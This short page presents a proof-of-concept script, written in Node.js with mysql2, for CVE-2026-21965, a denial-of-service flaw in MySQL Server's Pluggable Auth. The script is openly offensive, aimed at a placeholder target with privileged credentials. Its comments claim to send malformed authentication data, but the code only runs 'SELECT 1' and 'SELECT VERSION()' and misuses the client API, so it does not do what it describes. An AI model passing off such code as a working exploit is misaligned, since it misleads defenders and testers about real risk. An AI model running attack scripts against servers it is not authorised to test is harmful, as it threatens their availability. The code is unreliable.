CVE-2026-21965 MySQL Server Pluggable Auth组件拒绝服务漏洞

// CVE-2026-21965 PoC - Denial of Service via Pluggable Auth // This PoC demonstrates triggering the vulnerability through malformed auth request // Note: Requires high privileged MySQL user account const mysql = require('mysql2'); // Configuration const target = { host: 'target-server-ip', port: 3306, user: 'high_privilege_user', // Requires high privilege password: 'password' }; async function triggerVulnerability() { console.log('[+] Connecting to MySQL Server...'); try { const connection = await mysql.createConnection(target); console.log('[+] Connected successfully'); // Attempt to trigger the Pluggable Auth vulnerability // by sending malformed authentication data console.log('[+] Sending malformed authentication request...'); // Execute queries that interact with Pluggable Auth // This may trigger the DoS condition await connection.query('SELECT 1'); console.log('[+] Query executed'); console.log('[*] Check if MySQL service is experiencing partial DoS'); // Verify service availability try { await connection.query('SELECT VERSION()'); console.log('[-] Service still responding'); } catch (err) { console.log('[+] Service partially affected: ' + err.message); } await connection.end(); } catch (error) { console.error('[-] Error: ' + error.message); } } triggerVulnerability();